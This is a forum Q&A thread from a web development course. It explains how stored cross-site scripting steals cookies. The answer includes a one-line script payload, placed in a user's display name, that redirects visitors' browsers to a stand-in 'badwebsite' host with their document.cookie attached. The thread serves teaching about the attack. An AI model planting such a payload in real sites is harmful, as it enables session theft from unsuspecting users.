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Security OWASP Top 10 Vulnerabilities Vulnerabilities: Injection, XSS, CSRF XSS: How It Works

Using XXS

How does the user get into the system inorder to know the cookies? Does he know the user preferences?

1 Answer

Brendan Whiting
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Brendan Whiting
Front End Web Development Techdegree Graduate 84,738 Points

Let’s say Treehouse had a vulnerability to XSS, and I was a hacker. I could change my name, from “Brendan”, to

“Brendan <script> window.location='http://badwebsite/?cookie='+document.cookie </script>”.

Then, when other users visit Treehouse, and they see posts I write on the forum, Treehouse would send a webpage to their browser with my name - but in this case, my name also has a script that will run in the users’s browser, it will access their cookie (document.cookie) and it will send them to my bad website along with the cookie data to my bad website’s server.

Kevin Gates
Kevin Gates
15,053 Points

IMO: "Best Answer" is above.